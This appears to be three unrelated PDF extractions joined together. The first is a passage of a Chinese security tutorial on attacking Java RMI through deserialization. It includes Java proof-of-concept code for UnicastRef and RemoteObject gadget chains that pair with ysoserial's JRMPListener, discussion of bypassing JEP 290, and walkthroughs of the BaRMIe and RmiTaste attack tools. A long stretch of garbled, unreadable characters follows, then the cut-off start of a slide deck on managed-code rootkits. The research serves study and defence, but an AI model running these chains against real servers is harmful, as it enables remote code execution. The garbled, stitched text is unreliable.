UnicastServerRef.exportObject() LiveRef.exportObject() TCPEndpoint.exportObject() TCPTransport.exportObject() TCPTransport.listen() 调⽤ DGCClient$EndpointEntry#registerRefs ⽅法 继续调⽤ makeDirtyCall ⽅法 最后是调⽤ DGC 实现类实际是 DGCImpl_Stub 的 dirty ⽅法进⾏通信触发反序列化。 因此可以看出,在 UnicastRef 进⾏反序列化时,会触发 DGC 通信及 dirty ⽅法调⽤,此时如果与⼀个恶意服务通 信,返回恶意数据流,则会造成反序列化漏洞。 利⽤代码: 反序列化调⽤链为: public class UnicastRef1 { public static void main(String[] args) throws Exception { String host = "127.0.0.1"; int port = 12233; ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); SerializeUtil.writeObjectToFile(ref); SerializeUtil.readFileObject(); } } 恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使⽤。 这条链是 lpwd 师傅提交的利⽤链,是在 ysoserial 的精简,也就是下⾯要说的链。 3. RemoteObject RemoteObject 是⼏乎所有 RMI 远程调⽤类的⽗类。这个类也可以⽤来触发反序列化漏洞。 RemoteObject 的 readObject ⽅法会先反序列化成员变量 RemoteRef ref ,最后调⽤其 readExternal ⽅法,可 以⽤来触发上⼀条 UnicastRef 链。 因此我们随便找⼀个 RemoteObject 的⼦类,在其实例中放⼊ UnicastRef 对象,反序列化时均可触发利⽤链。例 如如下利⽤代码, UnicastRemoteObject.readObject() UnicastRemoteObject.reexport() UnicastRemoteObject.exportObject() UnicastServerRef.exportObject() LiveRef.exportObject() TCPEndpoint.exportObject() TCPTransport.exportObject() TCPTransport.listen() public class RemoteObject1 { public static void main(String[] args) throws Exception { String host = "127.0.0.1"; int port = 12233; ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); ysoserial 使⽤ RemoteObjectInvocationHandler 的代理类作为反序列化的⼊⼝点,相当于是 UnicastRef 的延⻓ 链。 这部分对应的就是 ysoserial.payloads.JRMPClient 这个 gadget,恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使⽤。 六、⼊深 深⼊之前我先声明⼀下:其实还有利⽤ Registry 和 Server 之间相互攻击的情况,但是由于实际环境中⼆者往往是 ⼀起的,因此探究此类攻击⾏为意义不⼤,在本⽂中将会省略。 本章将会继续深⼊讨论⼀下在 RMI 攻击中的⼀些攻防和绕过的相关技术细节,对于⼀些 RMI ⾃身逻辑的更新细 节,啦啦师傅的两篇⽂章有所涉猎,这⾥也不进⾏复制粘贴了,主要讨论⼀下 JEP 290。 JEP 290 JEP290 是 Java 底层为了缓解反序列化攻击提出的⼀种解决⽅案,描述⽹址点这⾥。这是⼀个针对 JAVA 9 提出的安 全特性,但同时对 JDK 6,7,8 都进⾏了⽀持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进⾏了更新。 JEP 290 主要提供了⼏个机制: 提供了⼀种灵活的机制,将可反序列化的类从任意类限制为上下⽂相关的类(⿊⽩名单); 限制反序列化的调⽤深度和复杂度; 为 RMI export 的对象设置了验证机制; 提供⼀个全局过滤器,可以在 properties 或配置⽂件中进⾏配置。 JEP 290 在我的历史⽂章⾥没有讨论过,这⾥我也是边学边写,主要是看了 kejaly 师傅的这篇⽂章 、隐形⼈真忙师 傅的这篇⽂章、Y4er 师傅的这篇⽂章,对此没有基础的读者可以先看这三篇⽂章学习,这⾥重点关注对于 RMI 相 关利⽤的影响。 随着 JEP 290 的更新,RMI ⾸先在 RegistryImpl 类中引⼊了⼀个 registryFilter ⽅法,⽤来过滤在 RMI 调⽤产⽣的 反序列化过程中允许的序列化类,判断代码如下,可以看到,除了基础类型之外,RegistryImpl 采⽤了⽩名单的⽅ 式限制了允许序列化的类型。 UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref); // ysoserial 中使⽤ RemoteObjectInvocationHandler // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); // Registry proxy = (Registry) Proxy.newProxyInstance(RemoteObject1.class.getClassLoader(), new Class[] {Registry.class}, obj); SerializeUtil.writeObjectToFile(stub); SerializeUtil.readFileObject(); } } DGC 层对应的 DGCImpl 也引⼊了 checkInput ⽅法: 在这种情况下,直接使⽤ CC ⼀类的 gadget 就完全失效了,但是在第五章反序列化 Gadgets ⾥提到的 UnicastRef/RemoteObject 利⽤链配合 ysoserial.exploit.JRMPListener 依旧是可以使⽤的。 这个利⽤链的⼤致流程就是:攻击者发送 payload 让⽬标服务器发起⼀个 JRMP 请求去链接我们的 JRMP 服务器, 然后接受并反序列化我们 JRMP 服务器返回的报错信息,反序列化的时候通过 RMI 注册端内部的利⽤链(⽐如 CC)完成命令执⾏。 除此之外 An Trinh 师傅还公布了他对 JEP 290 的绕过⽅式,被收录在这篇⽂章中。 我没细看,但感觉是个套娃⾏为,最终触发点还是 UnicastRef。有兴趣的师傅可以跟⼀下。啦啦师傅的⽂章⾥也有 分析。 七、扩展 七、扩展 以上关于 RMI 攻击的分析,⼤多数都是⽩盒的,理想式的分析,那在实际情况中,如果遇到了⼀个 RMI 服务,究 竟该如何攻击呢? 在学习 RMI 攻击的相关过程中,发现两个攻击 RMI 的开源项⽬,先来学习⼀下这些项⽬。 BaRMIe BaRMIe 由 Nicky Bloor (@NickstaDB) 编写,主要提供了两种功能: enum 和 attack。程序⾥的注释写的很详 细,重点关注⼀下核⼼实现。 ⾸先来看下 enum 功能,此功能由 nb.barmie.modes.enumeration.EnumerationTask#run ⽅法实现,核⼼⽅ 法在 nb.barmie.modes.enumeration.RMIEnumerator#enumerateEndpoint 中: ⾸先还是利⽤ LocateRegistry.getRegistry() ⽅法创建本地的 Registry 代理。 获取⼀个随机名称,然后调⽤ unbind ⽅法去解绑,如果抛出 NotBoundException 异常,则证明我们存在远程对 registry 进⾏操作的可能。 创建⼀个 TCP 代理,⽤来获取在 RMI 通信过程中产⽣的数据包,并重新通过代理与 Registry 端进⾏通信, BaRMIe 从代理中读取流数据并⾃⾏实现解析逻辑,从⽽避免攻击者端在反序列化时由于没有具体接⼝⽽导致 "Class.forName" 报错。 调⽤ list ⽅法获取 Registry 端绑定的服务名,并且循环使⽤ lookup ⽅法去获取对应的服务对象动态代理,这 中间产⽣的流量会被 RMIReturnDataCapturingProxy 这个代理类捕获到,然后通过 RMIReplyDataParser 的 extractObjectDetails ⽅法解析远程服务对象的相关信息。 解析后 EnumerationTask#run 会整理及打印远程服务对象的相关信息,以及是否能够对此 Registry 进⾏远程操 作(bind/unbind/rebind)。 接下来会尝试匹配 BaRMIe 内置的⼀些攻击⼿段,如果匹配到了将会打印信息: 主要是包括 Axiom ⽂件操作、SpringFramework ⾥的反序列化、JMX 反序列化、⾮法 bind 等,循环调⽤这些内 置 payload 中的 canAttackEndpoint ⽅法进⾏测试,在这⼀步不会直接实施攻击,在这⼀步均是测试 payload。 如果判断可能存在反序列化攻击,则继续尝试查找可⽤的反序列化 gadget: BaRMIe ⽀持的反序列化 payload ⽀持如下: 最后是整合信息及打印,效果如下: 接下来看下 attack 功能,此功能由 nb.barmie.modes.attack.AttackMode#run ⽅法实现,⾸先依旧是调⽤ RMIEnumerator#enumerateEndpoint ⽅法来枚举并尝试攻击,获取可⽤的攻击⼿段。 接下来就是根据选择不同的攻击⽅式,进⼊不同的菜单,输⼊不同的参数,发起不同的攻击,最后都是调⽤ nb.barmie.modes.attack.RMIAttack 各个实现类的 executeAttack ⽅法。 使⽤流程如下,⾸先选择攻击⽬标: 选择可⽤的攻击⽅式,例如我这⾥是反序列化: 选择反序列化 gadget : 输⼊命令,拼接 payload 并执⾏,弹出计算器。 可以看到,BaRMIe 针对我们在本⽂讨论的 RMI 攻击主要是提供了使⽤ bind ⽅式攻击 Registry 的攻击,除此之外 BaRMIe 提供了利⽤⼀些框架和组件注册的服务进⾏攻击。 RmiTaste RmiTaste 是 @_mzer0 在参考了 BaRMIe 之后编写的攻击⼯具,并且结合 ysoserial ⽣成利⽤ gadget。其实 BaRMIe 也是⽤的 ysoserial 的 payload,但是 RmiTaste 是直接调⽤。 RmiTaste 提供了 4 种模式:conn,enum,attack,call: conn:测试与⽬标 Registry 的连接 enum:枚举 Registry 中注册的服务 attack: 指定反序列化 payload 攻击 Server 端 call:调⽤服务中的⽅法,需要在本地有跟服务端⼀样的接⼝ RmiTaste 的代码清晰可读,并且有部分实现思路与 BaRMIe 相同,这⾥我就不⼀⼀解读,感兴趣的读者⾃⾏阅读 和测试。 最关键的 attack 逻辑在 m0.rmitaste.rmi.exploit.Attack#invokeMethodPayload ⽅法中: 这跟我们在攻击 Server 端时下断点修改的思路是⼀样的,所以 RmiTaste 是攻击 Server 端的实现逻辑。 以上两个⼯具都提供了攻击 RMI 的⼀部分能⼒,但是很显然没有覆盖完全本章的涉及到的全部内容,也并不⽀持 JEP 290 的 bypass,在测试过程中也发现了若⼲ BUG,不过依旧都是⾮常优秀的⼯具。 ⼋、总结 本篇⽂章介绍了 RMI ,测试了 RMI 的使⽤,分析了 RMI 实现的部分流程和源码,针对 RMI 中不同⻆⾊的端攻击进 ⾏了攻击测试及漏洞成因分析,然后分析了 RMI 包下⼀些类的实现机制导致的反序列化 gadget,然后简单深⼊了 ⼀下 JEP 290 的影响和绕过,最后学习了两个攻击 RMI 的项⽬的实现⽅式。 作为⼊⻔及了解⽬前学到这部分感觉就差不多了,但是这⾥还有⼏个点的分析没有做: 1. JEP 290 详解。 2. 为什么 UnicastRef 的 payload 能绕 JEP 290 ? 3. ⽬前能绕 JEP 290 的 POC 貌似都需要反连,服务器不出⽹,能不能绕? 4. JRMP 协议解析及实现。 5. DGC 层。 6. 攻击 Client 端实战 —— 反制红队 or 蜜罐。 ⽇后有时间慢慢细说吧。 九、使⽤ RASP 防御 我是⼀条⼩⻘⻰,⼩⻘⻰,⼩⻘⻰,我有许多⼩秘密,⼩秘密,⼩秘密,我有许多的秘密,就不告诉你,就不告诉 你,就~不~告~诉~你~~ ⼗、引⽤ https://paper.seebug.org/1091/ https://www.cnblogs.com/binarylei/p/12115986.html https://xz.aliyun.com/t/7079 https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD %91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/ https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96- %E6%B7%B1%E5%85%A5-%E4%B8%8A/ https://lalajun.github.io/2020/06/22/RMI%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96- %E6%B7%B1%E5%85%A5-%E4%B8%8B/ https://github.com/lalajun/RMIDeserialize https://github.com/NickstaDB/BaRMIe https://javasec.org https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/ https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/ https://github.com/mogwailabs/rmi-deserialization https://www.anquanke.com/post/id/200860 https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg http://www.code2sec.com/cve-2017-3241-java-rmi-registrybindfan-xu-lie-hua-lou-dong.html https://mp.weixin.qq.com/s/5xHPCklm3IyBn7vc5_OiUA https://github.com/threedr3am/ysoserial https://y4er.com/post/bypass-jep290/ https://openjdk.java.net/jeps/290 https://paper.seebug.org/1689/ https://forum.butian.net/share/709
pdf
                 ! " # $ % &  # ' ( ) ) * ) + * ) , ( - ' ( ) ' . + % / 0 1 2 3 4 5 2 6  7 8  8 " #  # 7 9 "  9 : 7 ; 8  " 7 " # 9 ; < = # 7 9 " # 9 #   = # 9 " 7 = " # > 9 ? 8  8 " # 9 "   # @ 9 ;   < # 9 @ 9 A 7  8 ! 6  8 " # > 9 ? 8 > 7   A ; 8 = 7 A ;  9 9 8  B C 9   9 > 7 " D #  E F G @ 9 ;  9 C " # > 9 ? 7 " D ! H 9 @ @ 9 " < 8 8 9 C #  8 " # > 9 ? 8 > 7   A  8 " # ; I  " ; #   7 :  = B 7 @   7 =  # 7 9 " 8 9 C 8 9 @ < 8 8 > 7   A J < 8 # 7 9 " ; ! 6   8 " #  # 7 9 " > 7   = 9 " =  < ; > 7 #   " 7 " # 9 ; < = # 7 9 " # 9 E  " E # # 9 I  C 8 9 C # >   " ;   ; >   9 K = # 7 @   @ " # 7 " D #  " # > 9 ?  9 # 9 = 9  8  : 7 9 < 8  B ; 8 = 7 A ; ! L M N O P Q R S T U V W X Y Z [ \ Y ] Y ^ _ Y ` a b c _ d e L f g h i j k j i l m n o n i p j q r s f t u v w u x v y • z A 9 < # #  8   ? • {  B 8  9 <  ; G =  | • }  = ? D 9 < " ; 9 "  < # 9 @ 9 # 7 :  = # 9 " 7 = 8 • E } & ( ~ H 9 @ @ 9 " < 8  D ~   B 8 7 =    " ; ;  #   7 " ? ~ & 7  D " 9 8 # 7 = @ 9 ; 8 ~ €  7 8 # 7 " D  9 ; < = # 8 • E  " E # # 9 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ f g h i j k j i l m n o n i p j q r s f ™ š › œ   ž v Ÿ v ¡ ¢ v w • € ; < =  # ; 7 " €  = # 7 =    " ; H 9 @  < # € " D 7 " 7 " D •  9 C 8 8 7 9 "     7 " = 7 "   ; >   " ; 8 9 C # >  ; 8 7 D " • F  # < ;  B  C # " 9 9 " @ =   " 7 = • H 9 " = " ;  A 9 < #  7 :  = B f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ f g h i j k j i l m n o n i p j q r s f ž ¤ Ÿ ž › œ ¥ ¦ § ¨ ¡ w v © • z < # 9 @ 9 A 7  @  7 " # "  " = @ 9 " 9  9  B ~ F : 7 = @  " <   8  9 : 7 ; @ =   " 7 =   ;  > 7 " D 8 > 7 #  D  #  = = <  = B ~ ª 7 @ 7 # ;  = # 9 " 7 = 8 =  @  # 7 = 8 I  7 @ 7 # ;  9 # 9 = 9  8  = 7 « =  # 7 9 " 8 I " 9 8 9 < = = 9 ; •  7 :  = B 7 @   7 =  # 7 9 " 8 ~ {   # ; 9 8  :  7 =  = 9 ; | • ¬  7 =  @ 9 < " ; = 9 " # 9  9 C @  " < C  = # < #   " 9 > " f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ­ f g h i j k j i l m n o n i p j q r s f ® ¡ ¯ ¢ ° w › œ ± ¦ › ² ™ œ  › ³ ›  x u v ´ ¥ v ¯  w › ± x ¯ µ • ¶ " ; #   9 9 ; ~ H 9 " # 9   8 C 9 C <  7 " K = # 7 9 " I  " # 7 ·  9 = ? A  ? 8 I #  = # 7 9 " = 9 " # 9  I  7 A  D 8 • ¶ 8 : 7 8 7 A  ~ H  7 @  # = 9 " # 9  I " # #  7 " @ " # I "  : 7 D  # 7 9 " I = 9 @ @ < " 7 =  # 7 9 " • E " · } 9  ; & 7  D " 9 8 # 7 = 8 ¸ E } & ¹ ~ G @   @ " #  # 7 9 " " 9 # 8 #  " ;  ; 7 º ; • E " · } 9  ; & 7  D " 9 8 # 7 = 8 ¸ E } & ( ¹ ~ F #  " ;  ; 7 º ; A B F 9 = 7 # B 9 C z < # 9 @ 9 # 7 : € " D 7 " 8 ¸ F z € ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f “ f g h i j k j i l m n o n i p j q r s f Ÿ ¯ › v › ² Ÿ ™ ´ t ® » ¼ •   B 8 7 =   = 9 " " = # 9 • &  #   7 " ?   B ¸ #  9  # 7 9 " 8 ¹ I " # > 9 ?  9 # 9 = 9  • & 7  D " 9 8 # 7 = 8 ~ € @ 7 8 8 7 9 " = 9 " # 9  8 B 8 # @ 8 J < 7 ; A B ¶ ! F ! ½ ;     > ~ F #  " ;  ;  " ; @  " < C  = # < 8  = 7 « = = 9 @  9 " " # 8 • ¾  " B   = ? # C 9 @  # 8  " ; ;  #  # B  8 C 9 ; 7  D " 9 8 # 7 = ;  #  • ¿  ;  " ; > 7 # € H ¶ @ @ 9 B • F = < 7 # B C  # < f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f À f g h i j k j i l m n o n i p j q r s f ¨ › ³ ³ › ± Á µ ¡ ° v  Ÿ ¯ ¡ ± à › › ¥ • €  = # 9 " 7 = = 9 " # 9  < " 7 # ¸ € H ¶ ¹ ; # = # 8 C  <  # = 9 " ; 7 # 7 9 " ~ ! D ! I 9  B D " 8 " 8 9 ; # = # ; @ 7  # < # 9 9 7 =  • & 7  D " 9 8 # 7 = # 9 < A  = 9 ; ¸ & 6 H ¹ 7 8 8 # 9 ; • H  = ? " D 7 "  7 D  # 7   < @ 7 "  # 8 I ;  " ; 7 " D 9 " & 6 H • ¾ =   " 7 = # 7 : 8 & 6 H > 7 #   8 =  " # 9 9  • ¾ =   " 7 = «  8  9 A  @  " ; =   8 & 6 H f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ä f g h i j k j i l m n o n i p j q r s f ¨ › ³ ³ › ± Á µ ¡ ° v  ¨ w ¡ µ ž » ¡  ¡ Å v ¯ › w ¦ v w • z 7 A  D = 9 " # 9  @ 9 ; <  8 " 8 8 ;   9 B @ " # 9 " 9 " · ;   9 B @ " # : " # • ¬  7 =  8 " 8 9 ;  #  7 8 8 # 9 ; 7 "  7 A  D = 9 " # 9  @ 9 ; <  ~ ! D ! I :  7 =  8  ; I " D 7 " 8  ; I #  9 # #   9 8 7 # 7 9 " I A  ? 8 #  # I ; 7 : Æ 8 8  # A  # • ¾ =   " 7 = 9   > " C 9 = @ " # ; 9 > "  9  ; 8 =  8  ;  #  C 9  "   B 8 7 8 • G C :  7 =  7 8   7 ; I  7 A  D = 9 " # 9  @ 9 ; <  7 8 8 # 9    = ; f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ç f g h i j k j i l m n o n i p j q r s f È ž ¤ µ x ¯ ¡ ¥ É ¡ ¤ v w Ê » x ¡ ° ± › µ  x ¯ ® œ µ µ v µ •  { ¾ ·  <  8 { 7 ; #  ¾ 9 ; <   # 7 9 " ¸ Ë ! Ì ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B ½ 9 ; • ¬  { · ¬  7  A   <  8 { 7 ; #  ¾ 9 ; <   # 7 9 " ¸ Ë ) ! ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B Í ¾ • G F E · z 8 B " =  9 " 9 < 8 F 7   ¸ Ë ) ! ? A  8 ¹ ~ = 9 @ @ 9 "  B < 8 ; A B H  B 8  I 7 @  9 # 8 ¸ € < 9   " I Î    " 8 ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f Ï f g h i j k j i l m n o n i p j q r s f È ž ¤ µ x ¯ ¡ ¥ É ¡ ¤ v w Ê t  ž v w • H z Ð · H 9 " # 9   z  Ð # > 9 ? ~ Ñ 7 D  8  ; ¸ . ) ) ? A  8 ¹ • 9 #  ¸ " 9 # E } & ( ¹ ~ Ò {  ( ) ) ) ¸ G F E 8 #  " ;  ; ¹ ~ @  " < C  = # <  9  7 #  B f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ” f g h i j k j i l m n o n i p j q r s f » ¡  ¡ É x ± ¢ É ¡ ¤ v w • E } & (  " ; G F E ¸ G F E Ë Ë ¹ • Ñ   C ; <    ¸ 8   ; ¹ A < 8 • H  7 8 " 8 @ <  # 7    = = 8 8 ¸ H F ¾ z ¹ I " 9 " · ; 8 # < = # 7 : = 9   7 8 7 9 " 8 •  7 9 7 # B 7 "   = ? #   ; 8  = 7 « ; 8 9  7 D   7 9 7 # B   = ? # 8  :  7  f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ó f g h i j k j i l m n o n i p j q r s f Ô v  y › w ¢ É ¡ ¤ v w • z ; ; 8 8 7 " D @ 9 ; 8 ~ ½ < " = # 7 9 "   ~   B 8 7 =   •   = ? # C 9 @  # ~ & 7  D " 9 8 # 7 = @ 9 ; 8 ' < " # 8 # 8 I J < B 8 " 8 9 I = 9 " # 9  9 < #  < # 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ˜ f g h i j k j i l m n o n i p j q r s f » ¡  ¡ Õ › w ³ ¡  µ • F =   7 " D I  7 @ 7 # I 9 Ö 8 # I #  A  ¸ F ª E 6 ¹ ~ ¾   8  > ;  #  A 7 # 8 * A B # 8 # 9 @  " 7 " D C <  @  D " 7 # < ; ~ ! D ! I , · A 7 # :   <  8 " # 8 · ) # 9 , + ! . > 7 #  ) ! . 7 " = @ " # 8 •    @ # C " = " < @ A ¸  ¿ Ð ¹ ~ ¾   8   = ? # ;  #  # 9 < 8 C <  J <  " # 7 # 7 8 ~ G " =  < ; 8 F ª E 6 ¸ C 9 @  D " 7 # < ; ¹ I < " 7 # 8 I   A  * ; 8 = 7  # 7 9 " f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ £ f g h i j k j i l m n o n i p j q r s f » x ¡ ° ± › µ  x ¯ × › ¦ v µ • ¿ J < 8 # 8 " 8 9 I ; 7  D " 9 8 # 7 = ;  #  • ½ º C  @ =    A 7  7 # B ~ F # # 7 D D 8 I  ; C º C  @ ;  #  • ¿  ;  " ; =   & 6 H 8 • E " · A 9  ; @ 9 " 7 # 9 7 " D  " ; ; 7  D " 9 8 # 7 = # 8 # 8 ~ H 9 " # 7 " < 9 < 8  B  " ; " 9 " · = 9 " # 7 " < 9 < 8  B @ 9 " 7 # 9 ; 8 B 8 # @ 8 ~ G " 7 # 7  # # 8 # I  ; 8 <  # 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ­ f g h i j k j i l m n o n i p j q r s f » x ¡ ° ± › µ  x ¯ × › ¦ v µ Ø ¯ › ±  Ù ¦ Ú • ¿  ; :  7 =  7 " C 9 @  # 7 9 " ~ ¬  7 =  7 ; " # 7 « =  # 7 9 " " < @ A ¸ ¬ G Ð ¹ I =   7 A  # 7 9 " ;  #   " ; @ @ 9 B =  = ? 8 < @ • ¶   9  ;  " ; ; 9 > "  9  ; @ @ 9 B # 9 € H ¶ 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ “ f g h i j k j i l m n o n i p j q r s f ´ Û x µ  x ± ° È w › ¦ œ ¯  µ Ê Ü ¡ w ¦ y ¡ w v •  9  7 #  B C <   7 " # C  =  9 ; < = # 8 ~ Ñ 7 D   B C < " = # 7 9 "   I : B   " 8 7 : • H 9 @   # ; : 7 = 8 · < 8 <    B 8 7   # 9 ; 7  D " 9 8 # 7 = A < 8 • H 9 @  9 " " # 8 ·   8 9 < 8 <    B 8 7   # 9 ; 7  D " 9 8 # 7 = A < 8 • ½ ; 8 7 D " 8 ·  C > 6 G z · ( - ( # 9 G F E 7 " # C  = 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ À f g h i j k j i l m n o n i p j q r s f ´ Û x µ  x ± ° È w › ¦ œ ¯  µ Ê Ÿ › ²  y ¡ w v • Ð < @ 9 < 8 = 9 @ @ = 7    " ; 8   >   9 ; < = # 8 ~ F #  " ;  ; 8 <   9 # 7 8 @ 9 8 # = 9 @ @ 9 " ~ F 9 @ 8  = 7   7 º ; C 9 :  7 =  @  " < C  = # < • C ; 7  D Ý ( Þ ~ ½ 8 9 C # >  ¸ Í  ª ¹ ~ F <   9 # 8 A  8 7 = 8 =  " # 9 9  9   # 7 9 " I ; 7  D " 9 8 # 7 =  9 = ; < 8 f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ä f g h i j k j i l m n o n i p j q r s f t v ± t   › • Ñ  ; >  ~ 6 G z · ( - ( # 9 G F E A < 8 ~ ¿  <  9 8 ; ¶ F } 8 7    ;   # • F 9 C # >  ~ ª  B (  " ; - " # > 9 ? 8 #  = ? ~ z    7 =  # 7 9 " 8 9 C # >  • ½ 8 9 C # >  *   ; >  ¸ Í  ª ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ç f g h i j k j i l m n o n i p j q r s f t v ± t   › Ô v  y › w ¢ Ÿ  ¡ ¯ ¢ • H 9 @ @ 9 " z  G  = 9 8 8 " # > 9 ? 8 •   B 8 7 =     B ~ G F E I ¸ ¬  { I  { ¾ I H z Ð ¹ • &  #   7 " ?   B ~ E } & ( • Ð # > 9 ?   B ~ E } & ( I ¸ @  " < C  = # <  # " 8 7 9 " 8 ¹ f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ Ï f g h i j k j i l m n o n i p j q r s f t v ± t   › ™ ¥ x ¯ ¡  x › ± µ • F =  " # 9 9  • Ð # > 9 ?  9 A  " ;  9 D D 7 " D # 9 9  ¸    # =  ; < @  I " @   I # = ! ¹ ~ €    9 < " 7 ; " # 7 « ; € H ¶ 8 I < " ? " 9 > "   = ? # C 9 @  # 8 • Ñ 7 D   :  @ 9 " 7 # 9 7 " D  " ; = 9 " # 9  ~ €    " ; ; ; 7  D " 9 8 # 7 = 8 ~ ª 9 D D 7 " D ~ H 9 " « D <  A  ¶ G C 9 ; #  7  ; ;  8  A 9  ; f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f ˜ ” f g h i j k j i l m n o n i p j q r s f ¨ › ± ¯ ¥ œ µ x › ± Å v ² v w v ± ¯ v µ Ý Ë Þ ß à á â ã ä å æ ç è ä é à ã ê ë è ì ê í ã å î è é ï ë ä à æ ð ñ æ è ò ó ç ò ë ô õ ñ ï è ì ö ñ ê ÷ ë ä à æ ä å æ ê ð ä à ò ä ö ø ÷ ù ú û ÷ á ü ý ý ý ! F 9 = 7 # B 9 C z < # 9 @ 9 # 7 : € " D 7 " 8 I G " = !  # #  ' * * > > > ! 8  ! 9 D Ý ( Þ þ ÿ      z 8 < 7 # 9 C :  7 =  ; 7  D " 9 8 # 7 =  9 # 9 = 9  8  " ;  " E } & G G ¸ @ 9 8 #  B ¹ = 9 @   7  " # F =  " 6 9 9  !  # #  ' * * C ; 7  D ! 8 9 < = C 9 D ! " # * Ý - Þ     z " 9  " 7 @   @ " #  # 7 9 " 9 C  < # 9 @ 9 # 7 : = 9 @ @ < " 7 =  # 7 9 "  " ; ; 7  D " 9 8 # 7 =  9 # 9 = 9  8 !  # #  ' * * > > > !   ! " # *  9 K = # 8 * 9  " 9 # # 9 * f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ Ó f g h i j k j i l m n o n i p j q r s f ¨ › ¤ w x ° ž  H 9  B 7 D  # ¸ = ¹ ( ) ) Ð 9 #  7 " D C  = 6  7 8 ; 9 = < @ " # 7 8 C 8 9 C # >  B 9 < =  " ; 7 8 # 7 A < # 7 #  " ; * 9 @ 9 ; 7 C B 7 # < " ; #  # @ 8 9 C #  Í Ð ¶ Í "    < A  7 = ª 7 = " 8  8  < A  7 8  ; A B #  ½ F 9 C # >  ½ 9 < " ;  # 7 9 " 7 #  : 8 7 9 " ( 9 C #  ª 7 = " 8 I 9 ¸  # B 9 < 9  # 7 9 " ¹  " B   # : 8 7 9 " !                       !   "  #  f ‚ ƒ „ † ‡ ˆ ‰ Š ‹ Œ  Ž   ‘ Ž ’ Ž q n Ž “ ” • – n i — f £ ˜
pdf
Managed Code Rootkits Managed Code Rootkits Hooking into Runtime Environments Hooking into Runtime Environments Erez Metula, Erez Metula, Secure Software Engineer Secure Software Engineer Application Security Department Manager, 2BSecure Application Security Department Manager, 2BSecure ErezMetula@2bsecure.co.il ErezMetula@2bsecure.co.il August 2 August 2nd nd, 2009 , 2009 DEMO – println(string s) goes crazy ..or how to make code do more than it should • Trivial question: What should be the output of the following (Java) code? class HelloWorld { public static void main(String args[]) { System.out.println("Hello World!"); } } • A simple PoC of language modification. Sometimes “1+1=3” • “println()” was modified to print every string twice Agenda • Introduction to managed code execution model • What are Managed Code Rootkits? • MCR advantages • Application VM modification and malware deployment • Interesting attack scenarios (+ DEMOS!) • .NET-Sploit 1.0 – Generic Framework modification tool • Q&A – if time permits.. Background • I started playing with the idea of Managed Code language modification back in 2008 • Wrote a whitepaper titled “ .NET Framework Rootkits – Backdoors inside your Framework” • Presented in BH EU 2009 & CanSecWest • .NET Rootkits was a case study of the Managed Code Rootkit concept • Today we’ll talk about the general concept and take a look at Java Rootkits as well What is managed code ? • Code that executes under the management of an application virtual machine, a.k.a “the 